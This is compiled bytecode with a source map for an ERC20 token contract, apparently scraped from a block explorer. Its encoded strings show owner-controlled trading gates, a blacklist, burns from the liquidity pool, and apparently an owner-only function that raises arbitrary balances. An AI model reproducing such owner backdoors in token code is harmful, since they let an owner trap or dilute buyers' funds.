10cf0565b620186a0611cb960035490565b611cc4906001613cbd565b611cce9190613cfa565b821015611d435760405162461bcd60e51b815260206004820152603560248201527f5377617020616d6f756e742063616e6e6f74206265206c6f776572207468616e60448201527f20302e3030312520746f74616c20737570706c792e00000000000000000000006064820152608401610cf0565b50600a81905560015b919050565b6000611d5b612272565b6006546001600160a01b03908116911614611db85760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b506014805460ff19169055600190565b611dd0612272565b6006546001600160a01b03908116911614611e2d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b6001600160a01b038116611ea95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f64647265737300000000000000000000000000000000000000000000000000006064820152608401610cf0565b6006546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600680547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b0392909216919091179055565b6000611f27612272565b6006546001600160a01b03908116911614611f845760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610cf0565b601054601154611f949190613d9d565b4211611fe25760405162461bcd60e51b815260206004820181905260248201527f4d757374207761697420666f7220636f6f6c646f776e20746f2066696e6973686044820152606401610cf0565b6103e882111561205a5760405162461bcd60e51b815260206004820152602a60248201527f4d6179206e6f74206e756b65206d6f7265207468616e20313025206f6620746f60448201527f6b656e7320696e204c50000000000000000000000000000000000000000000006064820152608401610cf0565b426011556040517f70a082310000000000000000000000000000000000000000000000000000000081526001600160a01b037f000000000000000000000000702509cd15b61495bf5f0cff306e116e5e94688216600482015260009030906370a082319060240160206040518083038186803b1580156120d957600080fd5b505afa1580156120ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121119190613db5565b9050600061212b6127106121258487612f8b565b90613026565b90508015612160576121607f000000000000000000000000702509cd15b61495bf5f0cff306e116e5e94688261dead83613068565b60007f000000000000000000000000702509cd15b61495bf5f0cff306e116e5e9468829050806001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156121c057600080fd5b505af11580156121d4573d6000803e3d6000fd5b50506040517f8462566617872a3fbab94534675218431ff9e204063ee3f4f43d965626a39abb925060009150a1506001949350505050565b6000806122198385613d9d565b90508381101561226b5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610cf0565b9392505050565b6000805474010000000000000000000000000000000000000000900460ff16151560011480156122ac57506000546001600160a01b031633145b6122b557503390565b50600090565b6001600160a01b0383166123365760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610cf0565b6001600160a01b0382166123b25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f73730000000000000000000000000000000000000000000000000000000000006064820152608401610cf0565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166124905760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f64726573730000000000000000000000000000000000000000000000000000006064820152608401610cf0565b6001600160a01b03821661250c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f65737300000000000000000000000000000000000000000000000000000000006064820152608401610cf0565b8061251d576115c783836000613068565b60125460ff1615612a3b576006546001600160a01b0384811691161480159061255457506006546001600160a01b03838116911614155b801561256857506001600160a01b03821615155b801561257f57506001600160a01b03821661dead14155b80156125a6575060065474010000000000000000000000000000000000000000900460ff16155b15612a3b57601254610100900460ff16612643576001600160a01b038316600090815260208052604090205460ff16806125f757506001600160a01b038216600090815260208052604090205460ff165b6126435760405162461bcd60e51b815260206004820152601660248201527f54726164696e67206973206e6f74206163746976652e000000000000000000006044820152606401610cf0565b60145460ff161561279e576006546001600160a01b0383811691161480159061269e57507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b0316826001600160a01b031614155b80156126dc57507f000000000000000000000000702509cd15b61495bf5f0cff306e116e5e9468826001600160a01b0316826001600160a01b031614155b1561279e5732600090815260136020526040902054431161278b5760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60648201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000608482015260a401610cf0565b3260009081526013602052604090204390555b6001600160a01b03831660009081526023602052604090205460ff1680156127df57506001600160a01b03821660009081526021602052604090205460ff16155b156128d55760095481111561285c5760405162461bcd60e51b815260206004820152603560248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201527f6d61785472616e73616374696f6e416d6f756e742e00000000000000000000006064820152608401610cf0565b600b546001600160a01b0383166000908152600160205260409020546128829083613d9d565b11156128d05760405162461bcd60e51b815260206004820152601360248201527f4d61782077616c6c6574206578636565646564000000000000000000000000006044820152606401610cf0565b612a3b565b6001600160a01b03821660009081526023602052604090205460ff16801561291657506001600160a01b03831660009081526021602052604090205460ff16155b156129a757601454610100900460ff1661292f57600080fd5b6009548111156128d05760405162461bcd60e51b815260206004820152603660248201527f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560448201527f206d61785472616e73616374696f6e416d6f756e742e000000000000000000006064820152608401610cf0565b6001600160a01b03821660009081526021602052604090205460ff16612a3b57600b546001600160a01b0383166000908152600160205260409020546129ed9083613d9d565b1115612a3b5760405162461bcd60e51b815260206004820152601360248201527f4d61782077616c6c6574206578636565646564000000000000000000000000006044820152606401610cf0565b30600090815260016020526040902054600a5481108015908190612a67575060125462010000900460ff165b8015612a8e575060065474010000000000000000000000000000000000000000900460ff16155b8015612ab357506001600160a01b03851660009081526023602052604090205460ff16155b8015612ad757506001600160a01b038516600090815260208052604090205460ff16155b8015612afb57506001600160a01b038416600090815260208052604090205460ff16155b15612b7057600680547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff1674010000000000000000000000000000000000000000179055612b47613220565b600680547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff1690555b60065474010000000000000000000000000000000000000000900460ff16158015612bb357506001600160a01b03841660009081526023602052604090205460ff165b8015612bc15750600d5460ff165b8015612bdc5750600e54600f54612bd89190613d9d565b4210155b8015612c0057506001600160a01b038516600090815260208052604090205460ff16155b15612c0f57612c0d61345a565b505b6006546001600160a01b038616600090815260208052604090205460ff74010000000000000000000000000000000000000000909204821615911680612c6c57506001600160a01b038516600090815260208052604090205460ff165b15612c75575060005b60008115612e5a576001600160a01b03861660009081526023602052604090205460ff168015612ca757506000601954115b15612d5f57612cc6606461212560195488612f8b90919063ffffffff16565b9050601954601b5482612cd99190613cbd565b612ce39190613cfa565b601e6000828254612cf49190613d9d565b9091555050601954601c54612d099083613cbd565b612d139190613cfa565b601f6000828254612d249190613d9d565b9091555050601954601a54612d399083613cbd565b612d439190613cfa565b601d6000828254612d549190613d9d565b90915550612e3c9050565b6001600160a01b03871660009081526023602052604090205460ff168015612d8957506000601554115b15612e3c57612da8606461212560155488612f8b90919063ffffffff16565b905060155460175482612dbb9190613cbd565b612dc59190613cfa565b601e6000828254612dd69190613d9d565b9091555050601554601854612deb9083613cbd565b612df59190613cfa565b601f6000828254612e069190613d9d565b9091555050601554601654612e1b9083613cbd565b612e259190613cfa565b601d6000828254612e369190613d9d565b90915550505b8015612e4d57612e4d873083613068565b612e578186613dce565b94505b6001600160a01b03871660009081526022602052604090205460ff1615612ee95760405162461bcd60e51b815260206004820152602360248201527f596f752063616e7420646f2074686973207472616e73616374696f6e2e20284260448201527f6c772900000000000000000000000000000000000000000000000000000000006064820152608401610cf0565b612ef4878787613068565b50505050505050565b60008184841115612f215760405162461bcd60e51b8152600401610cf09190613997565b506000612f2e8486613dce565b95945050505050565b6001600160a01b038216600081815260236020526040808220805460ff191685151590811790915590519092917fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab91a35050565b600082612f9a57506000610c89565b6000612fa68385613cbd565b905082612fb38583613cfa565b1461226b5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60448201527f77000000000000000000000000000000000000000000000000000000000000006064820152608401610cf0565b600061226b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613612565b6001600160a01b0383166130e45760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f64726573730000000000000000000000000000000000000000000000000000006064820152608401610cf0565b6001600160a01b0382166131605760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f65737300000000000000000000000000000000000000000000000000000000006064820152608401610cf0565b61319d81604051806060016040528060268152602001613ea2602691396001600160a01b0386166000908152600160205260409020549190612efd565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546131cc908261220c565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906124079085815260200190565b3060009081526001602052604081205490506000601f54601d54601e546132479190613d9d565b6132519190613d9d565b90506000821580613260575081155b1561326a57505050565b600a54613278906014613cbd565b83111561329057600a5461328d906014613cbd565b92505b6000600283601e54866132a39190613cbd565b6132ad9190613cfa565b6132b79190613cfa565b905060006132c58583613640565b9050476132d182613682565b60006132dd4783613640565b905060006132fa87612125601d5485612f8b90919063ffffffff16565b9050600061331788612125601f5486612f8b90919063ffffffff16565b90506000816133268486613dce565b6133309190613dce565b6000601e819055601d819055601f8190556008546040519293506001600160a01b031691849181818185875af1925050503d806000811461338d576040519150601f19603f3d011682016040523d82523d6000602084013e613392565b606091505b509098505086158015906133a65750600081115b156133f9576133b5878261386a565b601e54604080518881526020810184905280820192909252517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15b6007546040516001600160a01b03909116904790600081818185875af1925050503d8060008114613446576040519150601f19603f3d011682016040523d82523d6000602084013e61344b565b606091505b50505050505050505050505050565b42600f556040517f70a082310000000000000000000000000000000000000000000000000000000081526001600160a01b037f000000000000000000000000702509cd15b61495bf5f0cff306e116e5e946882166004820152600090819030906370a082319060240160206040518083038186803b1580156134db57600080fd5b505afa1580156134ef573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906135139190613db5565b90506000613532612710612125600c5485612f8b90919063ffffffff16565b90508015613567576135677f000000000000000000000000702509cd15b61495bf5f0cff306e116e5e94688261dead83613068565b60007f000000000000000000000000702509cd15b61495bf5f0cff306e116e5e9468829050806001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156135c757600080fd5b505af11580156135db573d6000803e3d6000fd5b50506040517f454c91ae84fcc766ddda0dcb289f26b3d0176efeacf4061fc219fa6ca8c3048d925060009150a16001935050505090565b600081836136335760405162461bcd60e51b8152600401610cf09190613997565b506000612f2e8486613cfa565b600061226b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612efd565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106136b7576136b7613d35565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561373057600080fd5b505afa158015613744573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906137689190613de5565b8160018151811061377b5761377b613d35565b60200260200101906001600160a01b031690816001600160a01b0316815250506137c6307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846122bb565b6040517f791ac9470000000000000000000000000000000000000000000000000000000081526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac94790613834908590600090869030904290600401613e02565b600060405180830381600087803b15801561384e57600080fd5b505af1158015613862573d6000803e3d6000fd5b505050505050565b613895307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d846122bb565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663f305d7198230856000806138dc6006546001600160a01b031690565b60405160e088901b7fffffffff000000000000000000000000000000000000000000000000000000001681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561395757600080fd5b505af115801561396b573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906139909190613e73565b5050505050565b600060208083528351808285015260005b818110156139c4578581018301518582016040015282016139a8565b818111156139d6576000604083870101525b50601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe016929092016040019392505050565b6001600160a01b0381168114613a1f57600080fd5b50565b60008060408385031215613a3557600080fd5b8235613a4081613a0a565b946020939093013593505050565b600060208284031215613a6057600080fd5b813561226b81613a0a565b600060208284031215613a7d57600080fd5b5035919050565b600080600060608486031215613a9957600080fd5b8335613aa481613a0a565b92506020840135613ab481613a0a565b929592945050506040919091013590565b80358015158114611d4c57600080fd5b600080600060408486031215613aea57600080fd5b833567ffffffffffffffff80821115613b0257600080fd5b818601915086601f830112613b1657600080fd5b813581811115613b2557600080fd5b8760208260051b8501011115613b3a57600080fd5b602092830195509350613b509186019050613ac5565b90509250925092565b600080600060608486031215613b6e57600080fd5b8335925060208401359150613b5060408501613ac5565b60008060408385031215613b9857600080fd5b8235613ba381613a0a565b9150613bb160208401613ac5565b90509250929050565b600080600060608486031215613bcf57600080fd5b505081359360208301359350604090920135919050565b600060208284031215613bf857600080fd5b61226b82613ac5565b60008060408385031215613c1457600080fd5b8235613c1f81613a0a565b91506020830135613c2f81613a0a565b809150509250929050565b600181811c90821680613c4e57607f821691505b60208210811415613c88577f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613cf557613cf5613c8e565b500290565b600082613d30577f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b500490565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613d9657613d96613c8e565b5060010190565b60008219821115613db057613db0613c8e565b500190565b600060208284031215613dc757600080fd5b5051919050565b600082821015613de057613de0613c8e565b500390565b600060208284031215613df757600080fd5b815161226b81613a0a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015613e525784516001600160a01b031683529383019391830191600101613e2d565b50506001600160a01b03969096166060850152505050608001529392505050565b600080600060608486031215613e8857600080fd5b835192506020840151915060408401519050925092509256fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ba60e198bfb304c972d1863e8d619589b6f1b327b49df2b3e0b738b3cf01137e64736f6c63430008090033
Deployed Bytecode Sourcemap
29069:18421:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12672:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14839:169;;;;;;;;;;-1:-1:-1;14839:169:0;;;;;:::i;:::-;;:::i;:::-;;;1319:14:1;;1312:22;1294:41;;1282:2;1267:18;14839:169:0;1154:187:1;30709:64:0;;;;;;;;;;-1:-1:-1;30709:64:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;29148:51;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;1789:55:1;;;1771:74;;1759:2;1744:18;29148:51:0;1598:253:1;30113:21:0;;;;;;;;;;-1:-1:-1;30113:21:0;;;;;;;;;;;13792:108;;;;;;;;;;-1:-1:-1;13880:12:0;;13792:108;;;2002:25:1;;;1990:2;1975:18;13792:108:0;1856:177:1;37414:157:0;;;;;;;;;;-1:-1:-1;37414:157:0;;;;;:::i;:::-;;:::i;:::-;;29666:47;;;;;;;;;;;;;;;;29476:36;;;;;;;;;;;;;;;;30475:33;;;;;;;;;;;;;;;;30435;;;;;;;;;;;;;;;;34957:237;;;;;;;;;;-1:-1:-1;34957:237:0;;;;;:::i;:::-;;:::i;15490:355::-;;;;;;;;;;-1:-1:-1;15490:355:0;;;;;:::i;:::-;;:::i;29572:45::-;;;;;;;;;;;;;;;;29532:33;;;;;;;;;;-1:-1:-1;29532:33:0;;;;;;;;13634:93;;;;;;;;;;-1:-1:-1;13634:93:0;;13717:2;2826:36:1;;2814:2;2799:18;13634:93:0;2684:184:1;16254:218:0;;;;;;;;;;-1:-1:-1;16254:218:0;;;;;:::i;:::-;;:::i;29206:38::-;;;;;;;;;;;;;;;29764:33;;;;;;;;;;-1:-1:-1;29764:33:0;;;;;;;;37577:125;;;;;;;;;;-1:-1:-1;37577:125:0;;;;;:::i;:::-;-1:-1:-1;;;;;37666:28:0;37642:4;37666:28;;;:19;:28;;;;;;;;;37577:125;45282:259;;;;;;;;;;-1:-1:-1;45282:259:0;;;;;:::i;:::-;;:::i;30286:28::-;;;;;;;;;;;;;;;;29844:31;;;;;;;;;;-1:-1:-1;29844:31:0;;;;;;;;;;;13963:127;;;;;;;;;;-1:-1:-1;13963:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;14064:18:0;14037:7;14064:18;;;:9;:18;;;;;;;13963:127;21804:183;;;;;;;;;;;;;:::i;44829:447::-;;;;;;;;;;-1:-1:-1;44829:447:0;;;;;:::i;:::-;;:::i;34282:120::-;;;;;;;;;;;;;:::i;35432:144::-;;;;;;;;;;-1:-1:-1;35432:144:0;;;;;:::i;:::-;;:::i;29283:30::-;;;;;;;;;;-1:-1:-1;29283:30:0;;;;-1:-1:-1;;;;;29283:30:0;;;30175;;;;;;;;;;;;;;;;45547:104;;;;;;;;;;-1:-1:-1;45547:104:0;;;;;:::i;:::-;;:::i;35789:369::-;;;;;;;;;;-1:-1:-1;35789:369:0;;;;;:::i;:::-;;:::i;34071:155::-;;;;;;;;;;;;;:::i;21594:79::-;;;;;;;;;;-1:-1:-1;21659:6:0;;-1:-1:-1;;;;;21659:6:0;21594:79;;29320:24;;;;;;;;;;-1:-1:-1;29320:24:0;;;;-1:-1:-1;;;;;29320:24:0;;;30321:31;;;;;;;;;;;;;;;;35676:101;;;;;;;;;;-1:-1:-1;35676:101:0;;;;;:::i;:::-;;:::i;12891:104::-;;;;;;;;;;;;;:::i;36746:244::-;;;;;;;;;;-1:-1:-1;36746:244:0;;;;;:::i;:::-;;:::i;30249:24::-;;;;;;;;;;;;;;;;29720:35;;;;;;;;;;;;;;;;30515:27;;;;;;;;;;;;;;;;30397:25;;;;;;;;;;;;;;;;16975:269;;;;;;;;;;-1:-1:-1;16975:269:0;;;;;:::i;:::-;;:::i;29624:29::-;;;;;;;;;;;;;;;;14303:175;;;;;;;;;;-1:-1:-1;14303:175:0;;;;;:::i;:::-;;:::i;37194:208::-;;;;;;;;;;-1:-1:-1;37194:208:0;;;;;:::i;:::-;;:::i;30977:58::-;;;;;;;;;;-1:-1:-1;30977:58:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;29804:33;;;;;;;;;;-1:-1:-1;29804:33:0;;;;;;;;;;;36556:182;;;;;;;;;;-1:-1:-1;36556:182:0;;;;;:::i;:::-;;:::i;36170:378::-;;;;;;;;;;-1:-1:-1;36170:378:0;;;;;:::i;:::-;;:::i;35202:218::-;;;;;;;;;;-1:-1:-1;35202:218:0;;;;;:::i;:::-;;:::i;30067:39::-;;;;;;;;;;-1:-1:-1;30067:39:0;;;;;;;;29357:35;;;;;;;;;;;;;;;;34676:269;;;;;;;;;;-1:-1:-1;34676:269:0;;;;;:::i;:::-;;:::i;30141:27::-;;;;;;;;;;;;;;;;14541:151;;;;;;;;;;-1:-1:-1;14541:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;14657:18:0;;;14630:7;14657:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;14541:151;30780:39;;;;;;;;;;-1:-1:-1;30780:39:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;29399:33;;;;;;;;;;;;;;;;34467:134;;;;;;;;;;;;;:::i;30212:30::-;;;;;;;;;;;;;;;;21993:244;;;;;;;;;;-1:-1:-1;21993:244:0;;;;;:::i;:::-;;:::i;30359:31::-;;;;;;;;;;;;;;;;29439:24;;;;;;;;;;;;;;;;46469:1018;;;;;;;;;;-1:-1:-1;46469:1018:0;;;;;:::i;:::-;;:::i;12672:100::-;12726:13;12759:5;12752:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12672:100;:::o;14839:169::-;14922:4;14939:39;14948:12;:10;:12::i;:::-;14962:7;14971:6;14939:8;:39::i;:::-;-1:-1:-1;14996:4:0;14839:169;;;;;:::o;37414:157::-;21729:12;:10;:12::i;:::-;21719:6;;-1:-1:-1;;;;;21719:6:0;;;:22;;;21711:67;;;;-1:-1:-1;;;21711:67:0;;6147:2:1;21711:67:0;;;6129:21:1;;;6166:18;;;6159:30;6225:34;6205:18;;;6198:62;6277:18;;21711:67:0;;;;;;;;;37521:9:::1;::::0;37493:38:::1;::::0;-1:-1:-1;;;;;37521:9:0;;::::1;::::0;37493:38;::::1;::::0;::::1;::::0;37521:9:::1;::::0;37493:38:::1;37542:9;:21:::0;;;::::1;-1:-1:-1::0;;;;;37542:21:0;;;::::1;::::0;;;::::1;::::0;;37414:157::o;34957:237::-;21729:12;:10;:12::i;:::-;21719:6;;-1:-1:-1;;;;;21719:6:0;;;:22;;;21711:67;;;;-1:-1:-1;;;21711:67:0;;6147:2:1;21711:67:0;;;6129:21:1;;;6166:18;;;6159:30;6225:34;6205:18;;;6198:62;6277:18;;21711:67:0;5945:356:1;21711:67:0;35079:4:::1;35070:7;35050:13;13880:12:::0;;;13792:108;35050:13:::1;:17;::::0;35066:1:::1;35050:17;:::i;:::-;:27;;;;:::i;:::-;35049:34;;;;:::i;:::-;35039:6;:44;;35031:104;;;::::0;-1:-1:-1;;;35031:104:0;;7209:2:1;35031:104:0::1;::::0;::::1;7191:21:1::0;7248:2;7228:18;;;7221:30;7287:34;7267:18;;;7260:62;7358:17;7338:18;;;7331:45;7393:19;;35031:104:0::1;7007:411:1::0;35031:104:0::1;35169:17;:6:::0;35179::::1;35169:17;:::i;:::-;35146:20;:40:::0;-1:-1:-1;34957:237:0:o;15490:355::-;15630:4;15647:36;15657:6;15665:9;15676:6;15647:9;:36::i;:::-;15694:121;15703:6;15711:12;:10;:12::i;:::-;15725:89;15763:6;15725:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;15725:19:0;;;;;;:11;:19;;;;;;15745:12;:10;:12::i;:::-;-1:-1:-1;;;;;15725:33:0;;;;;;;;;;;;-1:-1:-1;15725:33:0;;;:89;:37;:89::i;:::-;15694:8;:121::i;:::-;-1:-1:-1;15833:4:0;15490:355;;;;;:::o;16254:218::-;16342:4;16359:83;16368:12;:10;:12::i;:::-;16382:7;16391:50;16430:10;16391:11;:25;16403:12;:10;:12::i;:::-;-1:-1:-1;;;;;16391:25:0;;;;;;;;;;;;;;;;;-1:-1:-1;16391:25:0;;;:34;;;;;;;;;;;:38;:50::i;45282:259::-;21729:12;:10;:12::i;:::-;21719:6;;-1:-1:-1;;;;;21719:6:0;;;:22;;;21711:67;;;;-1:-1:-1;;;21711:67:0;;6147:2:1;21711:67:0;;;6129:21:1;;;6166:18;;;6159:30;6225:34;6205:18;;;6198:62;6277:18;;21711:67:0;5945:356:1;21711:67:0;45360:6:::1;45356:178;45373:12:::0;;::::1;45356:178;;;21659:6:::0;;-1:-1:-1;;;;;21659:6:0;45418:1;;45420;45418:4;;::::1;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;45410:33:0::1;;45407:82;;;45464:2;:9:::0;;;::::1;;::::0;::::1;;;;::::0;;45407:82:::1;45518:4;45503:6;:12;45510:1;;45512;45510:4;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;45503:12:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;45503:12:0;:19;;-1:-1:-1;;45503:19:0::1;::::0;::::1;;::::0;;;::::1;::::0;;45387:3;::::1;::::0;::::1;:::i;:::-;;;;45356:178;;;;45282:259:::0;;;:::o;21804:183::-;21729:12;:10;:12::i;:::-;21719:6;;-1:-1:-1;;;;;21719:6:0;;;:22;;;21711:67;;;;-1:-1:-1;;;21711:67:0;;6147:2:1;21711:67:0;;;6129:21:1;;;6166:18;;;6159:30;6225:34;6205:18;;;6198:62;6277:18;;21711:67:0;5945:356:1;21711:67:0;21895:6:::1;::::0;21874:40:::1;::::0;21911:1:::1;::::0;-1:-1:-1;;;;;21895:6:0::1;::::0;21874:40:::1;::::0;21911:1;;21874:40:::1;21925:17;:24:::0;;;::::1;::::0;::::1;::::0;;21960:6:::1;:19:::0;;;::::1;::::0;;21804:183::o;44829:447::-;21729:12;:10;:12::i;:::-;21719:6;;-1:-1:-1;;;;;21719:6:0;;;:22;;;21711:67;;;;-1:-1:-1;;;21711:67:0;;6147:2:1;21711:67:0;;;6129:21:1;;;6166:18;;;6159:30;6225:34;6205:18;;;6198:62;6277:18;;21711:67:0;5945:356:1;21711:67:0;44983:3:::1;44960:19;:26;;44952:90;;;::::0;-1:-1:-1;;;44952:90:0;;8014:2:1;44952:90:0::1;::::0;::::1;7996:21:1::0;8053:2;8033:18;;;8026:30;8092:34;8072:18;;;8065:62;8163:21;8143:18;;;8136:49;8202:19;;44952:90:0::1;7812:415:1::0;44952:90:0::1;45073:4;45061:8;:16;;:33;;;;-1:-1:-1::0;45081:13:0;45061:33:::1;45053:94;;;::::0;-1:-1:-1;;;45053:94:0;;8434:2:1;45053:94:0::1;::::0;::::1;8416:21:1::0;8473:2;8453:18;;;8446:30;8512:34;8492:18;;;8485:62;8583:18;8563;;;8556:46;8619:19;;45053:94:0::1;8232:412:1::0;45053:94:0::1;45158:15;:37:::0;;;;45206:16:::1;:27:::0;45244:13:::1;:24:::0;;-1:-1:-1;;45244:24:0::1;::::0;::::1;;::::0;;;::::1;::::0;;44829:447::o;34282:120::-;34334:4;21729:12;:10;:12::i;:::-;21719:6;;-1:-1:-1;;;;;21719:6:0;;;:22;;;21711:67;;;;-1:-1:-1;;;21711:67:0;;6147:2:1;21711:67:0;;;6129:21:1;;;6166:18;;;6159:30;6225:34;6205:18;;;6198:62;6277:18;;21711:67:0;5945:356:1;21711:67:0;-1:-1:-1;34350:14:0::1;:22:::0;;-1:-1:-1;;34350:22:0::1;::::0;;;34282:120;:::o;35432:144::-;21729:12;:10;:12::i;:::-;21719:6;;-1:-1:-1;;;;;21719:6:0;;;:22;;;21711:67;;;;-1:-1:-1;;;21711:67:0;;6147:2:1;21711:67:0;;;6129:21:1;;;6166:18;;;6159:30;6225:34;6205:18;;;6198:62;6277:18;;21711:67:0;5945:356:1;21711:67:0;-1:-1:-1;;;;;35522:39:0;;;::::1;;::::0;;;:31:::1;:39;::::0;;;;:46;;-1:-1:-1;;35522:46:0::1;::::0;::::1;;::::0;;;::::1;::::0;;35432:144::o;45547:104::-;21729:12;:10;:12::i;:::-;21719:6;;-1:-1:-1;;;;;21719:6:0;;;:22;;;21711:67;;;;-1:-1:-1;;;21711:67:0;;6147:2:1;21711:67:0;;;6129:21:1;;;6166:18;;;6159:30;6225:34;6205:18;;;6198:62;6277:18;;21711:67:0;5945:356:1;21711:67:0;-1:-1:-1;;;;;45624:12:0;::::1;;::::0;;;:9:::1;:12;::::0;;;;;:19:::1;::::0;45641:1;45624:16:::1;:19::i;:::-;-1:-1:-1::0;;;;;45609:12:0;;::::1;;::::0;;;:9:::1;:12;::::0;;;;:34;;;;-1:-1:-1;45547:104:0:o;35789:369::-;21729:12;:10;:12::i;:::-;21719:6;;-1:-1:-1;;;;;21719:6:0;;;:22;;;21711:67;;;;-1:-1:-1;;;21711:67:0;;6147:2:1;21711:67:0;;;6129:21:1;;;6166:18;;;6159:30;6225:34;6205:18;;;6198:62;6277:18;;21711:67:0;5945:356:1;21711:67:0;35905:15:::1;:31:::0;;;35947:15:::1;:31:::0;;;